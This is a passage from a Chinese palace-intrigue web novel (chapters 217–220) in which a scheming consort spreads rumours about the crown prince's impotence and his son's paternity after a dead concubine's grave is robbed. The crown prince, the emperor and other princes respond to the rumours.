那家人非但没意识到自己犯了什么罪,反倒以此为荣,在他们那儿逢人就说他们给儿子找的媳妇不得了。
那可是从宫里出来的。
是太子大老爷的妾!
但那家人没说他们是怎么捡到那女子的,所以压根儿没人信他们。
那家人便不服气,就拿了铭文册子出来让人看,还把邻居家拉出来作证。
于是就有人问了。
既是太子大老爷的妾,该是伺候太子的。
咋能是完璧之身呢?
那家人支支吾吾说不出个所以然。
倒是另有半信半疑的人猜测说许是太子老爷的妾多,没顾得上这一个。
也有持不同意见的,说这一个可能不讨太子老爷的喜,也可能自身有隐疾啥的。
反正猜啥的都有。
很明显,大伙儿这时候还是没咋信那家人的,可到底还是有知理明事的人。
里长看了那家人拿来的铭文册子后直呼不妙,立马禁止村里的人瞎谈这事。
他准备往上报。
可惜,那家人是六月中旬捡到那女子的。
除去婚配的那几天。
事情已经在村子里传了七八天了,这期间自是有人上京赶集或是做买卖。
于是事情自然而然传到了京城。
只不过到了这会儿传言已经和最初的版本有了很大的出入,尤其关于那女子是完璧之身的说法。
在村子里时众人只猜要么是太子妾多没顾上这一个,要么是此女不讨喜等等。
然而到了京城。
已然变成了是太子不能人道,才使得一个在宫四年的妾仍是完璧。
那么问题就来了。
若太子不能人道,那现今东宫唯一的侧妃宋良娣诞下的长子是谁的?
槛儿与太子是六月二十七日晚出的宫,这个传言为二十八日传入城的。
及至傍晚时分,在有心人的推波助澜之下,消息已经传到了主街一片。
再结合宋良娣曾是一傻子的童养媳这一传言,有关太子长子非太子亲生,太子有意混淆皇室血脉的消息。
不到半日功夫,传得沸沸扬扬。
“说是个吃喝拉撒都离不得人的傻子,给这样的人做童养媳,那不是傻子从头到脚啥啥都让她看过啦?”
“听说太子最是宠爱这个侧妃,整个东宫就她独宠,我还当这人真是个有本事的,原来是这么回事啊。”
“听说那侧妃是奴才出身!奴才出身可不就好拿捏?太子让她伺候谁就伺候谁,也不知便宜哪个侍卫了!”
“储君不能人道,天要亡我大靖啊!”
“我就说东宫的女人咋少得那么可怜,原来不是清心寡欲,是不能跟人行房!”
“不能绵延子嗣的储君拿来干啥?总不能让大靖真断在这一代吧?”
“当爹的不能人道,做娘的不贞不洁,孩子能是太子亲生的才怪了!”
“我看呐,东宫这回惨喽!”
第217章 曜哥儿身世遭质疑!好毒的一计!
槛儿和太子有料到她与董茂生的事,就在近几日便会有流言传出。
却是没想到这其中竟牵扯出了京郊西山皇家墓地被掘的事,甚至一度有了太子不能人道的传言。
消息报上来时,槛儿与太子正在用晚膳。
海顺的脸白得吓人。
话说完,人也一脑门儿的冷汗跪了下去。
瑛姑姑、寒酥等人更是惊骇,跟着也无声地跪了一片,屋子里死寂得厉害。
槛儿拿着筷子的手僵住,浑身寒毛卓竖。
“金承徽的……”
海顺额头触地,绷直的脊背隐可见颤抖。
“是……”
槛儿的眼泪几乎夺眶而出。
倒不是她对金承徽有多深的旧情,而是逝者如斯夫,她与金承徽之间的仇怨也早随时间流逝磨灭了。
本该是入土为安。
却不仅被人掘了墓,甚至连尸身……
槛儿惊骇,悲戚、愤怒。
魏嫔,当真是好毒的一招!
槛儿无心去想传言中有关金承徽完璧之身的说法,放下银著看向太子。
太子的神色似乎与平时没什么两样。
可他紧绷的下颌,以及眼底深不见底的寒意无不显示着他此时的怒意。
除了怒,应该也有自责吧。
尽管他不见得与金承徽有多少情分,金承徽谋害皇嗣亦罪无可恕。
可终归是他的女眷,是他下令处死的人。
如今金承徽尸身被盗,更甚被人配了冥婚,于太子而言颜面有损只是其次。
更多的是他作为夫主,却未曾尽到顾好后院女眷身后事之责的愧疚。
是他作为一个正常人,对本该入土为安的死者惨遭亵渎的愤怒。
骆峋闭了闭眼。
再睁眼时眸底神色已然与寻常无异。
旋即他拿桌上的手帕拭了拭唇,冷声道:“可有差人将消息报给陛下?”
海顺:“锦衣卫有人报去了,眼下消息在城中发酵,想来不时便会有御史……”
“看管墓地的人何在?”骆峋问。
“内廷刚收到消息,还没来得及派人去问责。”
骆峋起身。
“去传话,着顺天府、都察院即刻调查流言源头,宋良娣与孤的流言不论,借机搅事者一律暂行关押。
鲍富与宗人府的人前往西山墓园核实此事,另派人将那家农户带进京,城中的流言叫五城兵马司出面管。”
海顺不敢耽误忙就去了。
槛儿示意瑛姑姑她们出去,然后走到太子身侧。
“殿下,能将与董家接头的那人交给陛下吗?先让陛下知道是魏嫔在从中作梗,也省得陛下猜忌您我。”
两人现在也算是有事商量着来了。
也是现今元隆帝对东宫的态度好了不止一星半点,加之太子不久才举荐了秦守淳治好了元隆帝的病。
若不然槛儿决计不会提出这么个想法,没得最后弄巧成拙,反倒让元隆帝在别的方面又猜忌太子。
骆峋转身,看到了她眼中尚未散去的泪意。
他顿了顿。
抬手用指腹在其眼角擦了擦。
“嗯,孤正有此意。”
不仅是为了让父皇打消对槛儿的怀疑,也是对父皇行事原就需做一半留一半。
不能什么都瞒,也不能什么都说。
毕竟很多事父皇心中有底,不过是秘而不宣罢了,一味隐瞒才会适得其反。
“孤去见陛下。”
骆峋道。
“不过你需做好心理准备,事情至此单是打消陛下疑虑并不能够解决这桩事,那人也不足以定魏嫔的罪。”
槛儿点点头,“妾身知道。”
魏嫔既设了这场局。
那么肯定不会以为单靠流言就能重创东宫,很明显这两起流言只是开始。
而现在的问题是。
他们不能仅凭一个线人就把魏嫔给拿下,昭告百姓这两起流言是她所为。
因为在证据不足的情况下,在魏嫔跳出来之前便私下将其拿了,会让人觉得她是被推出来做替罪羊的。
如此非但证明不了槛儿与太子、曜哥儿的清白,反倒容易越描越黑。
就算现在能息事宁人,将来这桩事也还是会再度被有心人扯出来利用。
所以现今最好的办法就是,将计就计。
槛儿没将这些想法说出来,不过骆峋知她能想到,也就没有多言解释。
到摇车前看了看尚不知事的儿子,他眼底的冰霜之意再度转瞬即逝。
“孤走了,晚上不必等孤。”
说罢,人大步流星地出了门。
速度之快带起一阵风。
“主子,金承徽……”
瑛姑姑、寒酥几人从外面进来,每个人脸上仍俱是骇然、愤悯之色。
虽说当初金承徽构害他们主子,妄图玷污主子的清誉,可到底人已经死了。
瑛姑姑她们就算曾经再对其有怨,也做不出来这种情况下还幸灾乐祸的事。
槛儿长长叹出一口气,将曜哥儿从摇车里抱出来亲了亲,又紧紧抱住。
“殿下会处理好这件事的,对于外面的流言你们也不必担心,曜哥儿乃我与殿下亲生你们比谁都清楚。
让小福子他们这两天多留意留意东宫内外的形势,有任何消息都要报给我。”
“是。”
.
乾元殿,正殿。
元隆帝先从锦衣卫口中得知了宫外的流言蜚语,又见到了儿子带来的据说是魏嫔安插在市井之中的线人。
后宫妃嫔出不了宫,她们在宫外的线人通常主要来源于家族培养。
这个名叫赵盛的线人,便是魏嫔的爹安临伯早年替其养在民间的线人之一。
安临伯去年因着睿王的事被褫夺了爵位,一家子老小都被逐出了京。
但他们放在城内的暗人并没有被完全肃清,只不过魏家的人不是死士。
随着睿王倒台,魏嫔失宠势弱。
留在京的这批人有一部分已经不干了,剩下的另一部分则分散在各处。
而赵盛做魏家的线人有十来年了,他忠于魏嫔的原因在于魏家对他有恩。
便不细述。
只他到底也有自己的家。
之前没被抓到时就不说,昨晚被太子的人逮了个猝不及防后,为了家里人考虑他就把魏嫔供出来了。
据赵盛所说。
他是在今年正月底接到了魏嫔递出来的消息,主要是负责查宋良娣。
当然那时候宋良娣还是宋昭训。
赵盛说他会找到董家,纯粹是个意外。
就是那日外出调查时在一条小巷子,听到一对哭闹的年轻夫妻吵嚷着一个和宋良娣名讳相似的名字。
赵盛便顺着那二人查下去了。
之后从董家妇人陈月娥口中,得知了不少宋良娣当初做他家童养媳的事。
赵盛将消息递给魏嫔。
魏嫔给了他两个任务,一则让他说服董家人在她需得他们时出来作证。
其二便是将消息放给京城各地的混混流氓、乞丐、行脚小贩这类人。
前者赵盛自己做了,后一件事他则花银子叫了一些人替他跑腿。
这也是骆峋与槛儿说此时要想完全遏制流言已经晚了的重要原因。
关联的人太多,连赵盛都不清楚他找的人具体把消息传给了哪些人。
尤其像是混混、乞丐这类人都是一个群体,偏平时又并没聚在一起。
而按赵盛的说法。
他们其实前几天就在传小道消息了,只当时集中在外城,今早才开始往城里传。
流言传得这么快,究其原因一是魏嫔花的银子多,二是还有别的线人在推动。
但赵盛并不知另外的线人是谁,他也只负责宋良娣和董家的这件事。
至于西山盗坟盗尸的事。
赵盛去了半条命也没说出个所以然。
等赵盛被锦衣卫带走。
骆峋来到元隆帝面前。
“父皇,宋氏虽出身微寒却自来谨守本分,其入宫之时不过垂髫之龄,其人其家世清白与否当年内务府皆有记载。
其侍奉儿臣之前,亦有郑氏命人验身。
后其有孕至生产,太医院皆有脉案在册,曜哥儿实乃宋氏与儿臣亲生。”
“请父皇明鉴。”
第218章 (合章)元隆帝vs魏嫔,太子:宋氏聪慧。
元隆帝不明鉴。
他甚至不用鉴,就知道曜哥儿是他亲孙子。
因为曜哥儿除了嘴巴,其他地方跟儿子小时候一个模子里刻出来的!
但现在的问题在于单他与皇后清楚此事,并不足以平息外界的流言。
需拿出确切的证据证明曜哥儿乃太子亲生,亦或是证明这两起流言皆乃魏嫔所为,才能控制住目前的局势。
想起魏嫔,元隆帝发出一声冷笑。
“她倒是会钻空子,身在后宫还在神不知鬼不觉把人的坟给掘了。”
骆峋抿唇。
垂在身子两侧的手渐渐攥成拳。
元隆帝看看儿子。
沉默片刻,他道:“你与你后院的女人如何相处朕不过问,但关于你无法人道的传言,你可有要何说?”
骆峋没别的要说。
纵使父皇现今待他一如幼年,他也不准备将自身隐疾之事尽数告知。
即便父皇可能对此有所了解,骆峋也不会承认,没有意义是其一。
其二,他要为自己留后路。
所以对上父皇审视的目光,骆峋不躲不闪,沉着道:“曜哥儿为儿臣亲生。”
元隆帝懂了,没有继续逼问,只道:“眼下情形,你打算如何?”
骆峋:“儿子想将计就计。”
掘墓盗尸,操控两起流言,单凭魏嫔的人脉与手段要同时办成这么几件事。
很难。
这其中必定有前睿王的人在从旁辅助,亦或是其他派系的人企图浑水摸鱼。
单靠赵盛这个线人的供词和他提供的自己是魏家线人的证据,只能说明槛儿与董家的传言有魏嫔的手笔。
但槛儿曾在董家做过童养媳又是事实。
董家人的嘴不堵上。
不把魏嫔的真正目的当众拆穿。
槛儿就仍会被质疑,她与董茂生之间的事在外人眼中将会是她一生的污点。
骆峋不在意槛儿从前如何照顾过董茂生,可他也不想她一直活在别人的非议之中。
当然还有更远的打算。
如今提为时尚早。
总归要想彻底平息外界流言,还他及槛儿清白,揪出魏嫔及其身后的人。
最好便是将计就计,引蛇出洞。
“不是不可。”
元隆帝指尖敲着书案,沉吟道。
“只对方能在短短一日内将流言扩散至此,想来后招不少,你那妾能招架住?”
骆峋:“宋氏聪慧。”
何况还有他。
“你倒是对她有信心。”
元隆帝别有深意地看了儿子两眼。
骆峋默了默,垂眸避开父皇的目光。
“罢。”
元隆帝道。
“想做什么就去做吧,马擎岳借给你用。”
马擎岳是锦衣卫总指挥使,是元隆帝的心腹之一,直接听命于皇帝。
如此相当于是把整个锦衣卫借给他。
骆峋躬身谢恩。
从乾元殿出来,夜幕早已降临。
天上无月,夜浓如泼墨。
骆峋立在乾元殿前望了望无边天际,折身回东宫,“让马擎岳来见孤。”
海顺:“是。”
乾元殿内,元隆帝在位置上坐了会儿。
也不知想了什么,不多时他起身往外行,“走吧,去景祥宫看看魏嫔。”
景祥宫,西配殿。
魏嫔并不平静。
谋划的时候不论心绪多坚定心多狠,真当事情开始按自己的计划展开时,心里多多少少还是会不安。
尤其这回涉及到盗尸。
所以认真说来,从六月中旬下令让人掘坟,又收到消息说尸体已被偷出来了开始,魏嫔的心就没静过。
到底以前没做过这种事。
晚上免不得就会做一些不好的梦,越是梦心就越不安,形成了一个死循环。
以至于魏嫔近十来天精神很不好,卸了口脂就一副被吸干精气的模样。
之前去坤和宫请安别人问她怎么了,让她拿换季,夜里没睡好给搪塞过去了。
但真正原因为何,她心知肚明。
听小太监在外头兴奋地禀“陛下来看娘娘了”时,魏嫔有片刻的怔忪。
正好她这会儿在妆台前卸妆,回过神来一看镜子,她忙叫砚书砚棋补妆。
匆匆收拾好从内室出来。
看到刚好进了堂间的元隆帝,魏嫔的眼眶一下子就红了,泪水夺眶而出。
“陛下……”
她生得纤瘦娇小,行动间似弱柳扶风。
虽说这一年脸上瞧着染了些风霜,但底子还是在的,秀气姣好的五官配上梨花带雨之姿,当真是我见犹怜。
元隆帝瞥她一眼,脚下不着痕迹地顿了顿后径直走到上首处落座。
魏嫔拭拭眼角。
又笑着像从前那样张罗着吩咐人上陛下爱喝的茶,陛下爱用的点心。
“不必了。”
元隆帝冷道。
顺便给全仕财递了个眼神,后者立即领着屋子里的宫人退到了外面。
魏嫔见状心突了一下。
但转念想西山墓地那边且不提,两百多年了,安葬了那么多中低阶宫嫔。
朝廷想管也管不过来,也不值得管。
那地方早烂了。
她敢让人去掘墓,不就是知道朝廷管不到那边吗,眼下事情才曝出来,元隆帝不可能这么快就查到她头上。
再者说她之所以花那么多银子,让流言在一日之间在全程内传开。
为的就是不想被姓裴的女人或是东宫得知消息后中断流言,坏了她的事。
这会儿城里闹开了,人多嘴杂的,怎么也不可能一下子就找到她头上。
不对。
应该说就算查到她头上,她不亮牌,他们也不好在这个节骨眼上将她如何。
脑子转得飞快。
魏嫔调整好情绪,眼泪说来就来,“妾身还以为陛下忘了妾身了……”
元隆帝看着她。
说起来,这人在他潜邸时期就跟了他。
至今也有三十年了。
不是他自己看中的,也不是为拉拢什么势力纳的,而是当年他年近三旬,膝下拢共只有两儿一女。
加之玄徽不久前小产,太医说王妃恐伤了根本,往后许不能孕育子嗣。
母后觉得他子嗣不丰,便在那一年选秀时做主赐了他好几个侍妾。
魏嫔便在其中。
魏嫔的爹当时只是一个七品小京官,安临伯是他登基后给封的爵位。
元隆帝扪心自问。
他当初对魏嫔确实有那么几分心的,源于她楚楚动人弱不胜衣的气质。
大抵男人都或多或少有那么点儿怜香惜玉,偏爱柔弱女子的习性。
谈不上什么喜爱,只每每瞧着她楚楚可怜的模样便多少有些恻隐之心。
于是就宠了。
宠一个女人对于自小生在皇家的元隆帝来说,根本算不上什么事。
玄徽不介意,他也不会耽于情爱。
宠了就宠了。
后来登了基,要平衡后宫势力,正好魏嫔也乐得往自己身上揽事。
那他就让她在贵妃那个位置坐着。
没当皇帝时觉得当了皇帝就能想做什么做什么,当了皇帝以后才知道,做皇帝其实也没那么自由。
甚至比他做亲王时的顾虑还要多。
前朝后宫存着千丝万缕的关系,放任后宫妃嫔斗也是制衡朝局的手段之一。
魏嫔从他这里得到了她想要的东西,那么就轮到她出力的时候了。
其实到那时候他对魏嫔还是存着情分的,毕竟跟了自己这么些年。
又替他生儿育女,有功劳也有苦劳。
所以多数时候元隆帝都会顺着她,直到十四年前他南巡回来听了些消息。
“你为何会想到让人去西山掘坟盗尸?”
面对魏嫔一副泫然欲泣,准备诉一番衷肠的哀怨之态,元隆帝淡淡道。
魏嫔险些一口气没上得来,脸色本能地一白,“什……您说什么?”
元隆帝却像是没看到她的神色变化似的。
自顾道:“因为你觉得太子有问题,你清楚太子身上可能存着什么隐疾,所以你想去求证。”
“你求证了并且得到了自己想要的答案,于是你谋划安排了一出大戏。
让人捡到尸体,让人在百姓间诱导流言变质,让人以为太子不能人道。”
“你调查宋良娣,是因对方出身低,可以任由你在名声上给她扣帽子。
所以你找到了董家,故意将董家那儿子是傻子的事在城内夸大其词。
让众人以为宋良娣早将那傻子,将一个男人从头到脚、里里外外看了个遍。
让人以为她早不清白了,早私德有亏,如此才便于你继续接下来的计划。”
元隆帝每说一句话魏嫔的脸就白一分,最后只剩下她口脂上的那一点红。
看起来尤为诡异。
“陛、陛下,您……您在说什么啊?妾身、妾身怎么听不懂?”
魏嫔强装镇定,茫然般道。
元隆帝没接她的话,径自道:“让朕来猜,接下来宋氏要么有个奸夫。
要么会有那么一个人出来证明宋氏在跟太子之前,便不是清白之身,亦或是你还有别的什么招?”
做了二十多年皇帝的人,又曾驰骋沙场多年,单是坐在那儿其通身的气势就能压得人喘不过气来。
以前每每看到这样的男人被她勾起情欲,魏嫔心里便止不住升起快感。
她畏惧他,却同时也瞧不上他。
觉得男人也不过如此。
皇帝也不过如此。
去年儿子儿媳双双被贬,魏家一家子被赶出京城,她也被降了位份。
可魏嫔的想法依旧没变。
第219章 (合章)金承徽被寻回,太子:“开棺”
京城的今晚注定是一个不眠之夜。
一个妾在后院四年,到死都是完璧之身。
这种事其实放在任何一个妾室多的高门后院里,都算不得什么事。
若不是那夜夜笙歌的,还真有那可能几年都在男人跟前露不了脸的。
可问题就在于太子的妾委实不多。
三年多拢共妻妾四人,加上去年新纳的一个,加起来才刚好够五个指头。
这般下来,竟还有一个完璧的。
这就有些令人匪夷所思了。
再是清心寡欲,不近女色,到底是个男人不是?年纪又刚好摆在那里。
怎么可能连五人都轮不过来呢?
再结合前面三年东宫一个子嗣也没有。
以前不知道这件事的时候,大家可能有过一些猜测,但到底没怎么当回事。
毕竟太子还年轻,子嗣迟早都会有的。
可如今知道了这样一件事,大伙心里就有一种“原来如此”的恍然大悟。
若说太子真有隐疾。
那不管是前几年没子嗣,还是那死了的妾是完璧,就都一下子解释得通了。
向来清心寡欲的太子会这么宠一个宫婢出身的侍妾,也就解释得通了。
尤其好巧不巧,刚好就是一个奴才出身的人生下了东宫的第一个子嗣。
当然,外人不知道槛儿是太子妃推去伺候太子的,所以才有此一想。
心想此女小小年纪就看光了男人。
谁知道安不安分呢,谁知道太子拿捏她做了什么,东宫的长子又是怎么来的呢?
老百姓自是怕官,怕皇帝太子老爷的,平时也没谁敢随便议论这些人的事。
可现在大伙儿都在聊这事儿。
法不责众,大家都议论了,朝廷总不能把全城的百姓都给抓起来吧?
就算有个别胆子小的,到了晚上关着门也是少不了要聊上几句的。
于是,因着这种种猜测和凑热闹,今晚的京城各个地方就显得格外热闹。
事情闹成这样,京中各大亲王、公主、宗亲、勋贵府上等等自然不可能不知晓。
公主们且不提,到底是当姐姐做妹妹的。
心里再如何震惊,也总不好找进宫问弟弟哥哥是不是真不能人道。
那像什么话。
兄弟的房中事她们不好过问,东宫那名妾的尸身被盗也没几个人敢聊。
于是公主们与人聊的话题便多是宋良娣曾给傻子做过童养媳这件事。
各种唏嘘感慨、同情不齿不提。
宗亲以维护皇室血脉纯正和宗法制度为己任,这种时候不可能不行动。
当然其中还牵涉了站队和自身利益,他们也不是一个或者几个人行动。
而是由恭亲王。
也就是元隆帝年逾七十的亲王叔打头。
领着宗人府的一帮子,和几个位高权重的公爷、侯爷呼啦啦就进宫找元隆帝了。
除了看元隆帝对于此事的态度究竟是维护太子,还是有什么的别的意思外。
这些人的重点是要求彻查此事,甚至有人当堂提议将宋良娣提出来审问。
也有人提以“滴血验亲”之法来先证实东宫长子是否为太子亲生。
但立马也有人说了,此法是不可取的。
皆因早先大理寺与太医院就曾联合做过试验,结果表明没有任何亲缘关系的人,其血也是可相融的。
于是众人又提出了各式各样的办法,最后都被元隆帝给压下来了。
理由是事情刚发生,顺天府、大理寺卿、都察院、锦衣卫已经在开始调查。
结果出来之前,说再多也无济于事。
本也是这个道理。
宗人府的人何尝又不明白。
他们此行不过是一则尽本分,二则出于自身利益来试探元隆帝的态度。
现下元隆帝看样子是要维护太子和小皇孙,他们中间很多人也就放了心。
毕竟皇帝的态度若是不明确,或者有意废储,于社稷和他们而言都是一场不可避免的大动荡。
如今元隆帝态度明确,又给了台阶。
他们便也顺着下来了。
至于太子的几个兄弟。
信王这一年都在王府禁足,目前只差一天终于就要解禁了,但外面的一些消息他是一点儿也没落下过。
他自是乐得见太子栽个跟头,最好是这次的事真能将其给拉下马。
也有幕僚递信,问他们这边要不要趁从中机添一把火,被信王给否决了。
事情太大,若结果真能重创东宫还好。
如果不能,他们又搅和在其中,事后被查出来可不就是禁足这么简单了。
信王眼见着就能出来了,可不想在这个节骨眼上出岔子,还是稳妥为好。
荣王是太子一系的人,得知消息后便暗中命人与太子的人接了头不提。
慎王心情很复杂。
他其实谈不上多想要得到那个位置。
他不喜欢被拘着,光是看着太子成日里提防这个谨慎那个,他头就大了。
他母妃婉妃在宫里也一直安之若素。
他小时候母妃没少跟他说太子是中宫嫡子,将来合该继承大统,他们不要肖想不属于自己的东西。
但大抵是这种话听多了。
反而激起了慎王的逆反心。
什么叫不属于他们的东西?
他的母妃也是父皇的女人,他也是父皇的儿子。
太子就是占了一个嫡字罢了,可自古当皇帝的又不是人人都是嫡子。
父皇不就不是中宫所出?
立嫡立长确实是宗法祖制所定,但在皇家其实嫡庶才是最不重要的。
所以没什么属不属于他们的,只要他能争,那个位置就有可能是他的。
当然也有他这个当哥哥的总被弟弟打击到,父皇又总是偏心老六,于是就让他总想要整对方的原因在。
不过这个原因,慎王对外绝不会承认,总之就是他对太子的感情很复杂。
而就在四月份,父皇把他叫去说了高敬璋贪腐一事,当着他的面发了一通火。
大抵也是年纪大了。
以前领着他们跑一整天马的老头子,当时发完火竟晕得险些没站稳。
全仕财扶他到软榻上靠着,要去请御医。
老头子阻了,说淮安府的案子要尽快办,他早些同老五说完让老五早些去。
他也好省心。
话虽如此,他人却靠在靠枕上闭上了眼,胸口起伏不定,眉宇间尽是疲惫。
那还是慎王头一次见老头子虚弱成那样,也是在那时他发现老头子真老了,两鬓不知什么时候就白了。
都是为了大靖江山,为了百姓。
后面老头子与他说完淮安府一案,又教他去了当地先做什么后做什么。
告诉他哪些人可用,具体又该怎么用。
慎王日里自诩聪慧,也知人善用。
但在听了老头子的教授后,他才明白什么叫真正的运筹帷幄,决胜千里。
而让慎王难以接受的是,他曾不止一次在老六身上看到老头子的影子。
慎王也不傻。
知道老头子为什么要让他去查淮安府的案子,安他的心是一,培养他今后辅佐老六的能力是二。
不甘不服气肯定有。
但更多的还是想出去走一趟,发誓一定要把案子得漂漂亮亮,也好让老头子知道他不比老六差!
可惜真到了清江浦目睹了当地受灾百姓的苦,周旋于各阶层不同派系、不同目的、想法的官员之间。
一层层揭开案子的真相。
慎王才发现事情远不是他想象中那么简单,要治理好一个国家,做一位明君也不是他以为的那般流于表面。
诱惑太多了。
好几次他差点没忍住走错路。
也是直到那时慎王才不得不承认,老六貌似真的比他们兄弟几个任何一个人,都适合坐那个位置。
可就在他转变了想法,开始接受事实时,居然冒出了老六不能人道的消息?!
这叫什么事?
慎王跟幕僚谈完事回到王妃的承锦堂,心不在焉地洗漱完上了榻后开始烙饼。
烙着烙着,他着实没忍住。
翻过身面向背对着他的慎王妃。
“我都没看清过老六家那小崽子长什么样,你觉得那小东西……像老六吗?”
慎王妃被他翻身的动静闹得没脾气,一丝犹豫都没有地道:“不像。”
慎王“蹭”地坐起来,眼睛瞪得像铜铃。
却是不待他说话。
就听妻子幽幽的声音继续在道:“眉眼和太子一个模子里刻出来的。”
慎王:“……”
慎王闭上眼捏紧拳。
这要不是他王妃,他绝对现在就把人扔出去!
慎王重重躺回位置,背对着慎王妃。
过了会儿,他又翻过来。
“都一个模子里刻出来的了,有人还搞这么一出事干嘛?难不成对方也没见过那小崽子长什么样?”
慎王妃:“世上样貌相似的人不是没有,只要有心,真的也能变成假的。”
慎王“腾”地坐起来。
“有人跟老六一样俊?没有吧?真有那样的人名声怕是早传开了。”
慎王妃:“……”
不想丈夫再一惊一乍的,慎王妃不得不翻过身来,伸手拉着他躺回来。
柔声说:“眉眼相似不是生得一样,若对方有心该是会在这上面做文章。”
慎王自己不喜对后宅妇孺下手,也最不齿使这种下作手段的人。
闻言冷嗤了声。
“拿妇人的清誉害人,算什么本事。”
谁说不是呢,慎王妃暗道。
她虽与宋良娣交浅言也浅,却看得出来对方是个秀外慧中之人,绝非是会与人暗通款曲的下流之辈。
小小年纪被卖与人做童养媳够可怜的了,好不容易有了好际遇。
眼见着日子好过起来了,却又被人揭了伤疤,也不知宋良娣现下如何了。
王爷如今瞧着像似好不容易想开了不少,慎王妃真心希望东宫不要出事。
慎王妃这么想时宣王妃也在担心东宫的处境,她倒没太多别的顾虑。
宣王让她明天进宫看看,宣王妃原也有此意,便二话没说同意了。
简王则知道就算东宫出了事,储君的位置也轮不到他,所以他纯粹只看热闹。
而就在宫外之人众说纷纭之际,锦衣卫已带了那户农家人进城。
同时,一口薄棺被运往隆福寺。
太子于夜色中出了宫。
.
“女儿,我可怜的女儿……我的瑶瑶,是娘对不起你,娘当初就不该……”
“噤声!”
子时过半。
隆福寺往生堂内,一口杉木素棺静静停放在屋中,棺前设香案、长明灯。
数名僧人于两侧诵经。
金承徽之母窦氏由丫鬟搀着,哭得上气不接下气,然而接下来的话却被丈夫金方绪低斥着打断了。
窦氏扭头瞪向他。
想说她哭她女儿怎么了?她女儿死了都不得安生,她哭哭怎么了?
早知道她就不该由了女儿的性子,不该在她设计退了亲事后就妥协同意让她入宫参加那劳什子选秀。
宁为贫家妻,不做高门妾。
选秀若选的正妻也就罢。
不是正妻不管是进宫还是进王府、郡王府,再是得宠也左不过是个妾。
想要靠进皇家稳固家族势力的就不提,哪个好人家的女儿放着好好的正妻不做非要给人做妾啊!
做妾有什么好?
正儿八经的主子都算不上,不但要伺候男人,还要连男人的妻子也一并伺候了。
逢年过节男人、主母不允许,家宴都没资格参加,不往上爬族谱都上不了。
儿女也要跟着低人一等!
偏偏,她那女儿是个脑子一根筋的。
总以他们家是康国公府八竿子都打不到一起的亲戚为荣,想着进宫给太子做妾,想着一朝飞上枝头。
成为裴皇后那样的人物。
可结果呢?
年纪轻轻落了个暴毙而亡的下场就罢,如今走了快一年了竟是都不能入土为安,还被人验身配了冥婚!
这简直就是在把她心上的肉一片片往下剐啊!
窦氏心痛,恨不得现在就去找太子当面质问,为什么她好好的女儿进了宫却是生生守了四年活寡!
为什么她女儿人死了还要受这种侮辱!
可惜这些话窦氏只来得及在心里想想,不待她开口院门口便传来一阵动静。
却是太子来了。
一身玄色暗纹锦袍,面容冷峻气质雍容凛冽,每走一步都威严慑人的太子。
金方绪担心妻子做出什么储前失仪的举动,刻意往妻子身前挡了挡。
哽咽着向太子行礼。
骆峋的视线在其身上顿了顿。
又落到哭得几乎快要晕厥过去,此时正拼命压抑自己情绪的窦氏身上。
他克制着声音里的冷意,叫了起,旋即抬步跨入堂中,停在棺木前。
金承徽,金瑶。
据海顺当初来报的消息,金瑶到最后都还不忘诅咒槛儿与其腹中的孩子。
她及至最后都不认为她构陷槛儿玷污其清誉,意图谋害皇嗣的行为是错的。
说他冷血也好,无情也罢。
当初此人死了,骆峋没有半分感触。
甚至此时此刻,他就站在这里,想起她曾经做过的事他心中依然会恼怒。
即便时间重来,让他再决定一次。
他仍会给其死路一条。
那是她应承担的罪责。
但,已故的金瑶不该出现在此地。
不该遭受眼下的一切。
“请金大人、窦夫人移步偏堂。”
蓦地,太子冷冽的声音响起。
窦氏与金方绪一怔,忍不住面面相觑,随太子来的锦衣卫来到二人身旁。
等那锦衣卫回来复了命。
一片死寂的堂中,骆峋道:“开棺。”
僧人们相视一眼,跟着来的马擎岳谨慎劝道:“殿下,此举恐是不妥。”
会冲撞是其一,说白了就是不吉利。
其二,本身就有些腐了,不过在皇家墓地里有特制的除味丸,这十来天被那户农家一折腾已可谓不堪入目。
开了棺就怕太子撑不住。
骆峋面不改色,“开。”
僧人们被请出去诵经,仵作与四名锦衣卫上前,随着一阵不大的响动。
棺盖被打了开。
长明灯闪了一下,很快又恢复静静燃烧。
骆峋注视着,眉头都不曾皱一下。
稍顷。
他道:“孤会还你一个公道。”
第220章 曜哥儿得知槛儿重生!
太子离开不久,裴皇后就派碧荧来看了槛儿和曜哥儿,又叫槛儿不必忧心。
照看好曜哥儿便是。
而碧荧来去的功夫,消息也传到了嘉荣堂、沁芳居,以及秦昭训所在的蕙风院。
郑明芷从正月被禁足到现在已有五个多月,这期间她的变化真是不小。
至少从外表来看不似以往那般易暴易怒了,行事说话也平和了不少。
大抵抄多了经的原因,她温和端庄的观音面上仿佛真多了几分慈悲。
听霜月报来消息时,郑明芷委实吃惊不小,修花的剪子都从手上掉了。
回过神来起了一身鸡皮疙瘩,嘴里连念好几句“太上老君在此,妖魔退散”,之后便没忍住冷笑出声。
“这就叫天狂必有雨,人狂必有祸,我就不信这回她还能躲得过去!”
不过话又说回来。
金承徽竟是完璧之身!
如果这部分传言为真。
那她当初那个猜测太子不行,策划让哪个侍卫搞大了宋槛儿那小蹄子肚子的想法,岂不就是真的了?!
这个念头让郑明芷既震惊又焦躁不安。
她是想让宋槛儿那小蹄子栽个大跟头,但不代表她想东宫出事啊。
东宫出事了,哪还有她这个太子妃?
现在的关键就在于太子要怎么处理这桩事,舍了宋槛儿就能保东宫无虞。
问题是太子会愿意舍姓宋的吗?
会的吧。
跟储君的位置比起来,跟将来能登上那个位置比起来,一个出身低贱的妾和一个野种又算得了什么?
等等!
郑明芷想起一件事,面色一僵。
宋槛儿给人做过童养媳的事她知道,那小蹄子入宫的身契上有记载。
但因着童养媳自古便不少,宋槛儿进宫时的年纪又不大,没与夫家签什么契,是以良籍的身份入的宫。
宫里类似她这种身份的宫女不多但也不少,总归家世到底是清白的。
所以当时郑明芷也没在意这个,反正她让人也给那小蹄子验了身。
确定是完璧,她才打定了主意要说服太子同意让宋槛儿去伺候他的。
结果现在告诉她。
宋槛儿曾经名义上的丈夫是个傻子!那小蹄子早看过男人,伺候过男人了?!
那她岂不是又要落得个失察失管的罪责?
再者宋槛儿是她挑的人,是从她的嘉荣堂出去的,如今出了这样的事。
外人岂不以为宋槛儿跟野男人生了野种这件事里,也有她的份?!
那她成什么了!
郑明芷本来还挺幸灾乐祸,结果这么一想,她整个人都不好了。
事实证明通过抄经改变的心态只是暂时的,真遇上了事该怎样还是怎样。
郑明芷静不下来了。
开始在脑海里设想各种可能,同时不忘问候槛儿的祖宗十八代。
曹良媛和秦昭训也不平静。
